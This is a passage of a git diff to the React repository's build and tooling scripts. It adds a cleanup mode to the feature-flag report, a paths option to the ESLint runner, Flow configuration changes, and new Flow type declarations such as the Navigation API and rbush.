- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @emails react-core
- */
-
-'use strict';
-
-module.exports = {
-  meta: {
-    schema: [],
-  },
-  create(context) {
-    return {
-      Identifier(node) {
-        if (node.name === 'toWarnDev' || node.name === 'toErrorDev') {
-          let current = node;
-          while (current.parent) {
-            if (current.type === 'CallExpression') {
-              if (
-                current &&
-                current.callee &&
-                current.callee.property &&
-                current.callee.property.name === 'toThrow'
-              ) {
-                context.report(
-                  node,
-                  node.name + '() matcher should not be nested'
-                );
-              }
-            }
-            current = current.parent;
-          }
-        }
-      },
-    };
-  },
-};
diff --git a/scripts/eslint/index.js b/scripts/eslint/index.js
index 369637317ae0..dd65429e071d 100644
--- a/scripts/eslint/index.js
+++ b/scripts/eslint/index.js
@@ -72,12 +72,18 @@ function intersect(files, patterns) {
   return [...new Set(intersection)];
 }
 
-async function runESLint({onlyChanged, ...options}) {
+async function runESLint({onlyChanged, paths, ...options}) {
   if (typeof onlyChanged !== 'boolean') {
     throw new Error('Pass options.onlyChanged as a boolean.');
   }
+  if (onlyChanged && paths !== undefined) {
+    throw new Error('Cannot specify paths when onlyChanged is true.');
+  }
+  if (paths === undefined || paths.length === 0) {
+    paths = allPaths;
+  }
   const {errorCount, warningCount, output} = await runESLintOnFilesWithOptions(
-    allPaths,
+    paths,
     onlyChanged,
     options
   );
diff --git a/scripts/flags/flags.js b/scripts/flags/flags.js
index 50d263cd498e..7a5c9730f22a 100644
--- a/scripts/flags/flags.js
+++ b/scripts/flags/flags.js
@@ -1,3 +1,9 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
 'use strict';
 
 const babel = require('@babel/register');
@@ -62,6 +68,12 @@ const argv = yargs
         'experimental',
       ],
     },
+    cleanup: {
+      describe: 'output flags by cleanup category.',
+      requiresArg: false,
+      type: 'boolean',
+      default: false,
+    },
   }).argv;
 
 // Load ReactFeatureFlags with __NEXT_MAJOR__ replaced with 'next'.
@@ -172,13 +184,13 @@ function getNextMajorFlagValue(flag) {
   const value = ReactFeatureFlagsMajor[flag];
   if (value === true || value === 'next') {
     return '✅';
-  } else if (value === false || value === 'experimental') {
+  } else if (value === false || value === null || value === 'experimental') {
     return '❌';
   } else if (value === 'profile') {
     return '📊';
   } else if (value === 'dev') {
     return '💻';
-  } else if (typeof value === 'number') {
+  } else if (typeof value === 'number' || typeof value === 'string') {
     return value;
   } else {
     throw new Error(`Unexpected OSS Stable value ${value} for flag ${flag}`);
@@ -189,13 +201,18 @@ function getOSSCanaryFlagValue(flag) {
   const value = ReactFeatureFlags[flag];
   if (value === true) {
     return '✅';
-  } else if (value === false || value === 'experimental' || value === 'next') {
+  } else if (
+    value === false ||
+    value === null ||
+    value === 'experimental' ||
+    value === 'next'
+  ) {
     return '❌';
   } else if (value === 'profile') {
     return '📊';
   } else if (value === 'dev') {
     return '💻';
-  } else if (typeof value === 'number') {
+  } else if (typeof value === 'number' || typeof value === 'string') {
     return value;
   } else {
     throw new Error(`Unexpected OSS Canary value ${value} for flag ${flag}`);
@@ -206,13 +223,13 @@ function getOSSExperimentalFlagValue(flag) {
   const value = ReactFeatureFlags[flag];
   if (value === true || value === 'experimental') {
     return '✅';
-  } else if (value === false || value === 'next') {
+  } else if (value === false || value === null || value === 'next') {
     return '❌';
   } else if (value === 'profile') {
     return '📊';
   } else if (value === 'dev') {
     return '💻';
-  } else if (typeof value === 'number') {
+  } else if (typeof value === 'number' || typeof value === 'string') {
     return value;
   } else {
     throw new Error(
@@ -225,7 +242,7 @@ function getWWWModernFlagValue(flag) {
   const value = ReactFeatureFlagsWWW[flag];
   if (value === true || value === 'experimental') {
     return '✅';
-  } else if (value === false || value === 'next') {
+  } else if (value === false || value === null || value === 'next') {
     return '❌';
   } else if (value === 'profile') {
     return '📊';
@@ -233,7 +250,7 @@ function getWWWModernFlagValue(flag) {
     return '💻';
   } else if (value === 'gk') {
     return '🧪';
-  } else if (typeof value === 'number') {
+  } else if (typeof value === 'number' || typeof value === 'string') {
     return value;
   } else {
     throw new Error(`Unexpected WWW Modern value ${value} for flag ${flag}`);
@@ -244,7 +261,12 @@ function getWWWClassicFlagValue(flag) {
   const value = ReactFeatureFlagsWWW[flag];
   if (value === true) {
     return '✅';
-  } else if (value === false || value === 'experimental' || value === 'next') {
+  } else if (
+    value === false ||
+    value === null ||
+    value === 'experimental' ||
+    value === 'next'
+  ) {
     return '❌';
   } else if (value === 'profile') {
     return '📊';
@@ -252,7 +274,7 @@ function getWWWClassicFlagValue(flag) {
     return '💻';
   } else if (value === 'gk') {
     return '🧪';
-  } else if (typeof value === 'number') {
+  } else if (typeof value === 'number' || typeof value === 'string') {
     return value;
   } else {
     throw new Error(`Unexpected WWW Classic value ${value} for flag ${flag}`);
@@ -265,7 +287,7 @@ function getRNNextMajorFlagValue(flag) {
     return '✅';
   } else if (value === 'next-todo') {
     return '📋';
-  } else if (value === false || value === 'experimental') {
+  } else if (value === false || value === null || value === 'experimental') {
     return '❌';
   } else if (value === 'profile') {
     return '📊';
@@ -273,7 +295,7 @@ function getRNNextMajorFlagValue(flag) {
     return '💻';
   } else if (value === 'gk') {
     return '🧪';
-  } else if (typeof value === 'number') {
+  } else if (typeof value === 'number' || typeof value === 'string') {
     return value;
   } else {
     throw new Error(`Unexpected RN OSS value ${value} for flag ${flag}`);
@@ -286,6 +308,7 @@ function getRNOSSFlagValue(flag) {
     return '✅';
   } else if (
     value === false ||
+    value === null ||
     value === 'experimental' ||
     value === 'next' ||
     value === 'next-todo'
@@ -297,7 +320,7 @@ function getRNOSSFlagValue(flag) {
     return '💻';
   } else if (value === 'gk') {
     return '🧪';
-  } else if (typeof value === 'number') {
+  } else if (typeof value === 'number' || typeof value === 'string') {
     return value;
   } else {
     throw new Error(`Unexpected RN OSS value ${value} for flag ${flag}`);
@@ -308,7 +331,12 @@ function getRNFBFlagValue(flag) {
   const value = ReactFeatureFlagsNativeFB[flag];
   if (value === true) {
     return '✅';
-  } else if (value === false || value === 'experimental' || value === 'next') {
+  } else if (
+    value === false ||
+    value === null ||
+    value === 'experimental' ||
+    value === 'next'
+  ) {
     return '❌';
   } else if (value === 'profile') {
     return '📊';
@@ -316,7 +344,7 @@ function getRNFBFlagValue(flag) {
     return '💻';
   } else if (value === 'gk') {
     return '🧪';
-  } else if (typeof value === 'number') {
+  } else if (typeof value === 'number' || typeof value === 'string') {
     return value;
   } else {
     throw new Error(`Unexpected RN FB value ${value} for flag ${flag}`);
@@ -359,53 +387,86 @@ const FLAG_CONFIG = {
 
 const FLAG_COLUMNS = Object.keys(FLAG_CONFIG);
 
+const INTERNAL_VARIANTS = ['WWW Classic', 'WWW Modern', 'RN FB'];
+const OSS_VARIANTS = [
+  'OSS Next Major',
+  'OSS Canary',
+  'OSS Experimental',
+  'RN OSS',
+  'RN Next Major',
+];
+
 // Build the table with the value for each flag.
-const isDiff = argv.diff != null && argv.diff.length > 1;
-const table = {};
-// eslint-disable-next-line no-for-of-loops/no-for-of-loops
-for (const flag of allFlagsUniqueFlags) {
-  const values = FLAG_COLUMNS.reduce((acc, key) => {
-    acc[key] = FLAG_CONFIG[key](flag);
-    return acc;
-  }, {});
-
-  if (!isDiff) {
-    table[flag] = values;
-    continue;
-  }
+function buildTable(filterFn) {
+  const isDiff = argv.diff != null && argv.diff.length > 1;
+  const table = {};
+  const filteredFlags = filterFn
+    ? allFlagsUniqueFlags.filter(filterFn)
+    : allFlagsUniqueFlags;
+  // eslint-disable-next-line no-for-of-loops/no-for-of-loops
+  for (const flag of filteredFlags) {
+    const values = FLAG_COLUMNS.reduce((acc, key) => {
+      acc[key] = FLAG_CONFIG[key](flag);
+      return acc;
+    }, {});
+
+    if (!isDiff) {
+      table[flag] = values;
+      continue;
+    }
+
+    const subset = argv.diff.map(argToHeader).reduce((acc, key) => {
+      if (key in values) {
+        acc[key] = values[key];
+      }
+      return acc;
+    }, {});
 
-  const subset = argv.diff.map(argToHeader).reduce((acc, key) => {
-    if (key in values) {
-      acc[key] = values[key];
+    if (new Set(Object.values(subset)).size !== 1) {
+      table[flag] = subset;
     }
-    return acc;
-  }, {});
+  }
 
-  if (new Set(Object.values(subset)).size !== 1) {
-    table[flag] = subset;
+  // Sort the table
+  let sorted = table;
+  if (isDiff || argv.sort) {
+    const sortChannel = argToHeader(isDiff ? argv.diff[0] : argv.sort);
+    const sortBy =
+      sortChannel === 'flag'
+        ? ([flagA], [flagB]) => {
+            return flagA.localeCompare(flagB);
+          }
+        : ([, rowA], [, rowB]) => {
+            return rowB[sortChannel]
+              .toString()
+              .localeCompare(rowA[sortChannel]);
+          };
+    sorted = Object.fromEntries(Object.entries(table).sort(sortBy));
   }
+
+  return sorted;
 }
 
-// Sort the table
-let sorted = table;
-if (isDiff || argv.sort) {
-  const sortChannel = argToHeader(isDiff ? argv.diff[0] : argv.sort);
-  const sortBy =
-    sortChannel === 'flag'
-      ? ([flagA], [flagB]) => {
-          return flagA.localeCompare(flagB);
-        }
-      : ([, rowA], [, rowB]) => {
-          return rowB[sortChannel].toString().localeCompare(rowA[sortChannel]);
-        };
-  sorted = Object.fromEntries(Object.entries(table).sort(sortBy));
+function formatTable(tableData) {
+  // left align the flag names.
+  const maxLength = Math.max(
+    ...Object.keys(tableData).map(item => item.length)
+  );
+  const padded = {};
+  Object.keys(tableData).forEach(key => {
+    const newKey = key.padEnd(maxLength, ' ');
+    padded[newKey] = tableData[key];
+  });
+
+  return padded;
 }
 
 if (argv.csv) {
+  const table = buildTable();
   const csvRows = [
     `Flag name, ${FLAG_COLUMNS.join(', ')}`,
     ...Object.keys(table).map(flag => {
-      const row = sorted[flag];
+      const row = table[flag];
       return `${flag}, ${FLAG_COLUMNS.map(col => row[col]).join(', ')}`;
     }),
   ];
@@ -417,16 +478,108 @@ if (argv.csv) {
   });
 }
 
-// left align the flag names.
-const maxLength = Math.max(...Object.keys(sorted).map(item => item.length));
-const padded = {};
-Object.keys(sorted).forEach(key => {
-  const newKey = key.padEnd(maxLength, ' ');
-  padded[newKey] = sorted[key];
-});
+if (argv.cleanup) {
+  const allPassingFlags = [];
+  const allFailingFlags = [];
+  const needsShippedExperimentFlags = [];
+  const earlyExperimentationFlags = [];
+  const internalOnlyFlags = [];
+
+  const diffedFlagColumns =
+    argv.diff[0] != null ? argv.diff.map(argToHeader) : FLAG_COLUMNS;
+
+  // eslint-disable-next-line no-for-of-loops/no-for-of-loops
+  for (const flag of allFlagsUniqueFlags) {
+    const values = diffedFlagColumns.reduce((acc, key) => {
+      acc[key] = FLAG_CONFIG[key](flag);
+      return acc;
+    }, {});
+
+    const uniqueValues = new Set(Object.values(values));
+
+    if (
+      uniqueValues.size === 1 &&
+      (uniqueValues.has('✅') ||
+        typeof uniqueValues.values().next().value === 'number')
+    ) {
+      allPassingFlags.push(flag);
+    }
+
+    if (uniqueValues.size === 1 && uniqueValues.has('❌')) {
+      allFailingFlags.push(flag);
+    }
+
+    const internalVariantValues = INTERNAL_VARIANTS.filter(value =>
+      diffedFlagColumns.includes(value)
+    ).map(v => values[v]);
+    const ossVariantValues = OSS_VARIANTS.filter(value =>
+      diffedFlagColumns.includes(value)
+    ).map(v => values[v]);
+
+    if (
+      internalVariantValues.some(v => v === '✅') &&
+      ossVariantValues.every(v => v === '❌')
+    ) {
+      internalOnlyFlags.push(flag);
+    }
+
+    if (
+      internalVariantValues.some(v => v === '🧪') &&
+      (ossVariantValues.every(v => v === '❌') ||
+        (ossVariantValues.some(v => v === '❌') &&
+          values['OSS Experimental'] === '✅'))
+    ) {
+      earlyExperimentationFlags.push(flag);
+    }
+
+    if (
+      internalVariantValues.some(v => v === '🧪' || v === '❌') &&
+      ossVariantValues.every(v => v === '✅')
+    ) {
+      needsShippedExperimentFlags.push(flag);
+    }
+  }
+
+  if (allPassingFlags.length > 0) {
+    console.log('ALL VARIANTS PASS (✅)');
+    console.table(
+      formatTable(buildTable(flag => allPassingFlags.includes(flag)))
+    );
+  }
+
+  if (allFailingFlags.length > 0) {
+    console.log('ALL VARIANTS FAIL (❌)');
+    console.table(
+      formatTable(buildTable(flag => allFailingFlags.includes(flag)))
+    );
+  }
+
+  if (internalOnlyFlags.length > 0) {
+    console.log('INTERNAL ONLY (✅)');
+    console.table(
+      formatTable(buildTable(flag => internalOnlyFlags.includes(flag)))
+    );
+  }
+
+  if (earlyExperimentationFlags.length > 0) {
+    console.log('WAITING ON RESULTS (🧪)');
+    console.table(
+      formatTable(buildTable(flag => earlyExperimentationFlags.includes(flag)))
+    );
+  }
+
+  if (needsShippedExperimentFlags.length > 0) {
+    console.log('WAITING ON ROLLOUT (🧪)');
+    console.table(
+      formatTable(
+        buildTable(flag => needsShippedExperimentFlags.includes(flag))
+      )
+    );
+  }
+} else {
+  console.table(formatTable(buildTable()));
+}
 
-// print table with formatting
-console.table(padded);
 console.log(`
 Legend:
   ✅ On
diff --git a/scripts/flow/config/flowconfig b/scripts/flow/config/flowconfig
index b212a9f50ab1..3f14b50c4dbc 100644
--- a/scripts/flow/config/flowconfig
+++ b/scripts/flow/config/flowconfig
@@ -14,8 +14,6 @@
 .*/__mocks__/.*
 .*/__tests__/.*
 
-# TODO: noop should get its own inlinedHostConfig entry
-.*/packages/react-noop-renderer/.*
 
 %REACT_RENDERER_FLOW_IGNORES%
 
@@ -28,10 +26,13 @@
 
 [lints]
 untyped-type-import=error
+internal-type=off
+deprecated-type=off
+unsafe-object-assign=off
 
 [options]
-%CI_MAX_WORKERS%
 munge_underscores=false
+react.custom_jsx_typing=true
 
 # Substituted by createFlowConfig.js:
 %REACT_RENDERER_FLOW_OPTIONS%
diff --git a/scripts/flow/createFlowConfigs.js b/scripts/flow/createFlowConfigs.js
index c1e847416024..7ff68cce5b03 100644
--- a/scripts/flow/createFlowConfigs.js
+++ b/scripts/flow/createFlowConfigs.js
@@ -107,11 +107,6 @@ function writeConfig(
   });
 
   const config = configTemplate
-    .replace(
-      '%CI_MAX_WORKERS%\n',
-      // On CI, we seem to need to limit workers.
-      process.env.CI ? 'server.max_workers=4\n' : '',
-    )
     .replace('%REACT_RENDERER_FLOW_OPTIONS%', moduleMappings.trim())
     .replace('%REACT_RENDERER_FLOW_IGNORES%', ignoredPaths.join('\n'))
     .replace('%FLOW_VERSION%', flowVersion);
diff --git a/scripts/flow/environment.js b/scripts/flow/environment.js
index f71e5bba2a1e..180ee3838dee 100644
--- a/scripts/flow/environment.js
+++ b/scripts/flow/environment.js
@@ -17,25 +17,72 @@ declare const __REACT_DEVTOOLS_GLOBAL_HOOK__: any; /*?{
   inject: ?((stuff: Object) => void)
 };*/
 
-declare const globalThis: Object;
-
-declare const queueMicrotask: (fn: Function) => void;
 declare const reportError: (error: mixed) => void;
-declare const AggregateError: Class<Error>;
-
-declare const FinalizationRegistry: any;
 
 declare module 'create-react-class' {
-  declare const exports: React$CreateClass;
+  declare const exports: $FlowFixMe;
 }
 
 declare interface ConsoleTask {
   run<T>(f: () => T): T;
 }
 
+// $FlowFixMe[libdef-override]
+declare var console: {
+  assert(condition: mixed, ...data: Array<any>): void,
+  clear(): void,
+  count(label?: string): void,
+  countReset(label?: string): void,
+  debug(...data: Array<any>): void,
+  dir(...data: Array<any>): void,
+  dirxml(...data: Array<any>): void,
+  error(...data: Array<any>): void,
+  _exception(...data: Array<any>): void,
+  group(...data: Array<any>): void,
+  groupCollapsed(...data: Array<any>): void,
+  groupEnd(): void,
+  info(...data: Array<any>): void,
+  log(...data: Array<any>): void,
+  profile(name?: string): void,
+  profileEnd(name?: string): void,
+  table(
+    tabularData:
+      | {[key: string]: any, ...}
+      | Array<{[key: string]: any, ...}>
+      | Array<Array<any>>,
+  ): void,
+  time(label?: string): void,
+  timeEnd(label: string): void,
+  timeStamp(
+    label?: string,
+    start?: string | number,
+    end?: string | number,
+    trackName?: string,
+    trackGroup?: string,
+    color?: string,
+  ): void,
+  timeLog(label?: string, ...data?: Array<any>): void,
+  trace(...data: Array<any>): void,
+  warn(...data: Array<any>): void,
+  createTask(label: string): ConsoleTask,
+  ...
+};
+
+type ScrollTimelineOptions = {
+  source: Element,
+  axis?: 'block' | 'inline' | 'x' | 'y',
+  ...
+};
+
+declare class ScrollTimeline extends AnimationTimeline {
+  constructor(options?: ScrollTimelineOptions): void;
+  axis: 'block' | 'inline' | 'x' | 'y';
+  source: Element;
+}
+
 // Flow hides the props of React$Element, this overrides it to unhide
 // them for React internals.
-// prettier-ignore
+// $FlowFixMe[libdef-override]
 declare opaque type React$Element<
   +ElementType: React$ElementType,
   +P = React$ElementProps<ElementType>,
@@ -46,6 +93,8 @@ declare opaque type React$Element<
   +ref: any,
 };
 
+declare type React$CustomJSXFactory = any;
+
 declare const trustedTypes: {
   isHTML: (value: any) => boolean,
   isScript: (value: any) => boolean,
@@ -92,109 +141,32 @@ declare module 'EventListener' {
 }
 
 declare function __webpack_chunk_load__(id: string): Promise<mixed>;
+declare function __webpack_get_script_filename__(id: string): string;
 declare const __webpack_require__: ((id: string) => any) & {
   u: string => string,
 };
 
-declare function __turbopack_load__(id: string): Promise<mixed>;
+declare function __turbopack_load_by_url__(id: string): Promise<mixed>;
 declare const __turbopack_require__: ((id: string) => any) & {
   u: string => string,
 };
 
-declare module 'fs/promises' {
-  declare const access: (path: string, mode?: number) => Promise<void>;
-  declare const lstat: (
-    path: string,
-    options?: ?{bigint?: boolean},
-  ) => Promise<mixed>;
-  declare const readdir: (
-    path: string,
-    options?:
-      | ?string
-      | {
-          encoding?: ?string,
-          withFileTypes?: ?boolean,
-        },
-  ) => Promise<Buffer>;
-  declare const readFile: (
-    path: string,
-    options?:
-      | ?string
-      | {
-          encoding?: ?string,
-        },
-  ) => Promise<Buffer>;
-  declare const readlink: (
-    path: string,
-    options?:
-      | ?string
-      | {
-          encoding?: ?string,
-        },
-  ) => Promise<mixed>;
-  declare const realpath: (
-    path: string,
-    options?:
-      | ?string
-      | {
-          encoding?: ?string,
-        },
-  ) => Promise<mixed>;
-  declare const stat: (
-    path: string,
-    options?: ?{bigint?: boolean},
-  ) => Promise<mixed>;
-}
+declare var parcelRequire: {
+  (id: string): any,
+  load: (url: string) => Promise<mixed>,
+  extendImportMap: (importMap: {[string]: string}) => void,
+  meta: {
+    publicUrl: string,
+    devServer: string | null,
+  },
+};
+
 declare module 'pg' {
   declare const Pool: (options: mixed) => {
     query: (query: string, values?: Array<mixed>) => void,
   };
 }
 
-declare module 'util' {
-  declare function debuglog(section: string): (data: any, ...args: any) => void;
-  declare function format(format: string, ...placeholders: any): string;
-  declare function log(string: string): void;
-  declare function inspect(object: any, options?: util$InspectOptions): string;
-  declare function isArray(object: any): boolean;
-  declare function isRegExp(object: any): boolean;
-  declare function isDate(object: any): boolean;
-  declare function isError(object: any): boolean;
-  declare function inherits(
-    constructor: Function,
-    superConstructor: Function,
-  ): void;
-  declare function deprecate(f: Function, string: string): Function;
-  declare function promisify(f: Function): Function;
-  declare function callbackify(f: Function): Function;
-  declare class TextDecoder {
-    constructor(
-      encoding?: string,
-      options?: {
-        fatal?: boolean,
-        ignoreBOM?: boolean,
-        ...
-      },
-    ): void;
-    decode(
-      input?: ArrayBuffer | DataView | $TypedArray,
-      options?: {stream?: boolean, ...},
-    ): string;
-    encoding: string;
-    fatal: boolean;
-    ignoreBOM: boolean;
-  }
-  declare class TextEncoder {
-    constructor(encoding?: string): TextEncoder;
-    encode(buffer: string): Uint8Array;
-    encodeInto(
-      buffer: string,
-      dest: Uint8Array,
-    ): {read: number, written: number};
-    encoding: string;
-  }
-}
-
 declare module 'busboy' {
   import type {Writable, Readable} from 'stream';
 
@@ -292,7 +264,9 @@ declare module 'async_hooks' {
     run<R>(store: T, callback: (...args: any[]) => R, ...args: any[]): R;
     enterWith(store: T): void;
   }
-  declare interface AsyncResource {}
+  declare class AsyncResource {
+    asyncId(): number;
+  }
   declare function executionAsyncId(): number;
   declare function executionAsyncResource(): AsyncResource;
   declare function triggerAsyncId(): number;
@@ -328,13 +302,6 @@ declare const async_hooks: {
   executionAsyncId(): number,
 };
 
-declare module 'node:worker_threads' {
-  declare class MessageChannel {
-    port1: MessagePort;
-    port2: MessagePort;
-  }
-}
-
 declare module 'jest-diff' {
   declare type CompareKeys = ((a: string, b: string) => number) | void;
   declare type DiffOptions = {
@@ -365,3 +332,319 @@ declare const Bun: {
     input: string | $TypedArray | DataView | ArrayBuffer | SharedArrayBuffer,
   ): number,
 };
+
+// Navigation API
+
+declare const navigation: Navigation;
+
+interface NavigationResult {
+  committed: Promise<NavigationHistoryEntry>;
+  finished: Promise<NavigationHistoryEntry>;
+}
+
+declare class Navigation extends EventTarget {
+  entries(): NavigationHistoryEntry[];
+  +currentEntry: NavigationHistoryEntry | null;
+  updateCurrentEntry(options: NavigationUpdateCurrentEntryOptions): void;
+  +transition: NavigationTransition | null;
+
+  +canGoBack: boolean;
+  +canGoForward: boolean;
+
+  navigate(url: string, options?: NavigationNavigateOptions): NavigationResult;
+  reload(options?: NavigationReloadOptions): NavigationResult;
+
+  traverseTo(key: string, options?: NavigationOptions): NavigationResult;
+  back(options?: NavigationOptions): NavigationResult;
+  forward(options?: NavigationOptions): NavigationResult;
+
+  onnavigate: ((this: Navigation, ev: NavigateEvent) => any) | null;
+  onnavigatesuccess: ((this: Navigation, ev: Event) => any) | null;
+  onnavigateerror: ((this: Navigation, ev: ErrorEvent) => any) | null;
+  oncurrententrychange:
+    | ((this: Navigation, ev: NavigationCurrentEntryChangeEvent) => any)
+    | null;
+
+  // TODO: Implement addEventListener overrides. Doesn't seem like Flow supports this.
+}
+
+declare class NavigationTransition {
+  +navigationType: NavigationTypeString;
+  +from: NavigationHistoryEntry;
+  +finished: Promise<void>;
+}
+
+interface NavigationHistoryEntryEventMap {
+  dispose: Event;
+}
+
+interface NavigationHistoryEntry extends EventTarget {
+  +key: string;
+  +id: string;
+  +url: string | null;
+  +index: number;
+  +sameDocument: boolean;
+
+  getState(): mixed;
+
+  ondispose: ((this: NavigationHistoryEntry, ev: Event) => any) | null;
+
+  // TODO: Implement addEventListener overrides. Doesn't seem like Flow supports this.
+}
+
+declare var NavigationHistoryEntry: {
+  prototype: NavigationHistoryEntry,
+  new(): NavigationHistoryEntry,
+};
+
+type NavigationTypeString = 'reload' | 'push' | 'replace' | 'traverse';
+
+interface NavigationUpdateCurrentEntryOptions {
+  state: mixed;
+}
+
+interface NavigationOptions {
+  info?: mixed;
+}
+
+interface NavigationNavigateOptions extends NavigationOptions {
+  state?: mixed;
+  history?: 'auto' | 'push' | 'replace';
+}
+
+interface NavigationReloadOptions extends NavigationOptions {
+  state?: mixed;
+}
+
+declare class NavigationCurrentEntryChangeEvent extends Event {
+  constructor(type: string, eventInit?: any): void;
+
+  +navigationType: NavigationTypeString | null;
+  +from: NavigationHistoryEntry;
+}
+
+declare class NavigateEvent extends Event {
+  constructor(type: string, eventInit?: any): void;
+
+  +navigationType: NavigationTypeString;
+  +canIntercept: boolean;
+  +userInitiated: boolean;
+  +hashChange: boolean;
+  +hasUAVisualTransition: boolean;
+  +destination: NavigationDestination;
+  +signal: AbortSignal;
+  +formData: FormData | null;
+  +downloadRequest: string | null;
+  +info?: mixed;
+
+  intercept(options?: NavigationInterceptOptions): void;
+  scroll(): void;
+}
+
+interface NavigationInterceptOptions {
+  handler?: () => Promise<void>;
+  focusReset?: 'after-transition' | 'manual';
+  scroll?: 'after-transition' | 'manual';
+}
+
+declare class NavigationDestination {
+  +url: string;
+  +key: string | null;
+  +id: string | null;
+  +index: number;
+  +sameDocument: boolean;
+
+  getState(): mixed;
+}
+
+// Ported from definitely-typed
+declare module 'rbush' {
+  declare interface BBox {
+    minX: number;
+    minY: number;
+    maxX: number;
+    maxY: number;
+  }
+
+  declare export default class RBush<T> {
+    /**
+     * Constructs an `RBush`, a high-performance 2D spatial index for points and
+     * rectangles. Based on an optimized __R-tree__ data structure with
+     * __bulk-insertion__ support.
+     *
+     * @param maxEntries An optional argument to RBush defines the maximum
+     *                   number of entries in a tree node. `9` (used by default)
+     *                   is a reasonable choice for most applications. Higher
+     *                   value means faster insertion and slower search, and
+     *                   vice versa.
+     */
+    constructor(maxEntries?: number): void;
+
+    /**
+     * Inserts an item. To insert many items at once, use `load()`.
+     *
+     * @param item The item to insert.
+     */
+    insert(item: T): RBush<T>;
+
+    /**
+     * Bulk-inserts the given items into the tree.
+     *
+     * Bulk insertion is usually ~2-3 times faster than inserting items one by
+     * one. After bulk loading (bulk insertion into an empty tree), subsequent
+     * query performance is also ~20-30% better.
+     *
+     * Note that when you do bulk insertion into an existing tree, it bulk-loads
+     * the given data into a separate tree and inserts the smaller tree into the
+     * larger tree. This means that bulk insertion works very well for clustered
+     * data (where items in one update are close to each other), but makes query
+     * performance worse if the data is scattered.
+     *
+     * @param items The items to load.
+     */
+    load(items: $ReadOnlyArray<T>): RBush<T>;
+
+    /**
+     * Removes a previously inserted item, comparing by reference.
+     *
+     * To remove all items, use `clear()`.
+     *
+     * @param item The item to remove.
+     * @param equals A custom function that allows comparing by value instead.
+     *               Useful when you have only a copy of the object you need
+     *               removed (e.g. loaded from server).
+     */
+    remove(item: T, equals?: (a: T, b: T) => boolean): RBush<T>;
+
+    /**
+     * Removes all items.
+     */
+    clear(): RBush<T>;
+
+    /**
+     * Returns an array of data items (points or rectangles) that the given
+     * bounding box intersects.
+     *
+     * Note that the search method accepts a bounding box in `{minX, minY, maxX,
+     * maxY}` format regardless of the data format.
+     *
+     * @param box The bounding box in which to search.
+     */
+    search(box: BBox): T[];
+
+    /**
+     * Returns all items contained in the tree.
+     */
+    all(): T[];
+
+    /**
+     * Returns `true` if there are any items intersecting the given bounding
+     * box, otherwise `false`.
+     *
+     * @param box The bounding box in which to search.
+     */
+    collides(box: BBox): boolean;
+
+    /**
+     * Returns the bounding box for the provided item.
+     *
+     * By default, `RBush` assumes the format of data points to be an object
+     * with `minX`, `minY`, `maxX`, and `maxY`. However, you can specify a
+     * custom item format by overriding `toBBox()`, `compareMinX()`, and
+     * `compareMinY()`.
+     *
+     * @example
+     * class MyRBush<T> extends RBush<T> {
+     *   toBBox([x, y]) { return { minX: x, minY: y, maxX: x, maxY: y }; }
+     *   compareMinX(a, b) { return a.x - b.x; }
+     *   compareMinY(a, b) { return a.y - b.y; }
+     * }
+     * const tree = new MyRBush<[number, number]>();
+     * tree.insert([20, 50]); // accepts [x, y] points
+     *
+     * @param item The item whose bounding box should be returned.
+     */
+    toBBox(item: T): BBox;
+
+    /**
+     * Compares the minimum x coordinate of two items. Returns -1 if `a`'s
+     * x-coordinate is smaller, 1 if `b`'s x coordinate is smaller, or 0 if
+     * they're equal.
+     *
+     * By default, `RBush` assumes the format of data points to be an object
+     * with `minX`, `minY`, `maxX`, and `maxY`. However, you can specify a
+     * custom item format by overriding `toBBox()`, `compareMinX()`, and
+     * `compareMinY()`.
+     *
+     * @example
+     * class MyRBush<T> extends RBush<T> {
+     *   toBBox([x, y]) { return { minX: x, minY: y, maxX: x, maxY: y }; }
+     *   compareMinX(a, b) { return a.x - b.x; }
+     *   compareMinY(a, b) { return a.y - b.y; }
+     * }
+     * const tree = new MyRBush<[number, number]>();
+     * tree.insert([20, 50]); // accepts [x, y] points
+     *
+     * @param a The first item to compare.
+     * @param b The second item to compare.
+     */
+    compareMinX(a: T, b: T): number;
+
+    /**
+     * Compares the minimum y coordinate of two items. Returns -1 if `a`'s
+     * x-coordinate is smaller, 1 if `b`'s x coordinate is smaller, or 0 if
+     * they're equal.
+     *
+     * By default, `RBush` assumes the format of data points to be an object
+     * with `minX`, `minY`, `maxX`, and `maxY`. However, you can specify a
+     * custom item format by overriding `toBBox()`, `compareMinX()`, and
+     * `compareMinY()`.
+     *
+     * @example
+     * class MyRBush<T> extends RBush<T> {
+     *   toBBox([x, y]) { return { minX: x, minY: y, maxX: x, maxY: y }; }
+     *   compareMinX(a, b) { return a.x - b.x; }
+     *   compareMinY(a, b) { return a.y - b.y; }
+     * }
+     * const tree = new MyRBush<[number, number]>();
+     * tree.insert([20, 50]); // accepts [x, y] points
+     *
+     * @param a The first item to compare.
+     * @param b The second item to compare.
+     */
+    compareMinY(a: T, b: T): number;
+
+    /**
+     * Exports the tree's contents as a JSON object.
+     *
+     * Importing and exporting as JSON allows you to use RBush on both the
+     * server (using Node.js) and the browser combined, e.g. first indexing the
+     * data on the server and and then importing the resulting tree data on the
+     * client for searching.
+     *
+     * Note that the `maxEntries` option from the constructor must be the same
+     * in both trees for export/import to work properly.
+     */
+    toJSON(): any;
+
+    /**
+     * Imports previously exported data into the tree (i.e., data that was
+     * emitted by `toJSON()`).
+     *
+     * Importing and exporting as JSON allows you to use RBush on both the
+     * server (using Node.js) and the browser combined, e.g. first indexing the
+     * data on the server and and then importing the resulting tree data on the
+     * client for searching.
+     *
+     * Note that the `maxEntries` option from the constructor must be the same
+     * in both trees for export/import to work properly.
+     *
+     * @param data The previously exported JSON data.
+     */
+    fromJSON(data: any): RBush<T>;
+  }
+}
+
+declare class CSS {
+  static escape(str: string): string;
+}
diff --git a/scripts/flow/react-devtools.js b/scripts/flow/react-devtools.js
index 67355481e9fd..ddd925c2443d 100644
--- a/scripts/flow/react-devtools.js
+++ b/scripts/flow/react-devtools.js
@@ -13,3 +13,126 @@ declare const __EXTENSION__: boolean;
 declare const __TEST__: boolean;
 
 declare const __IS_FIREFOX__: boolean;
+declare const __IS_CHROME__: boolean;
+declare const __IS_EDGE__: boolean;
+declare const __IS_NATIVE__: boolean;
+
+interface ExtensionAction {
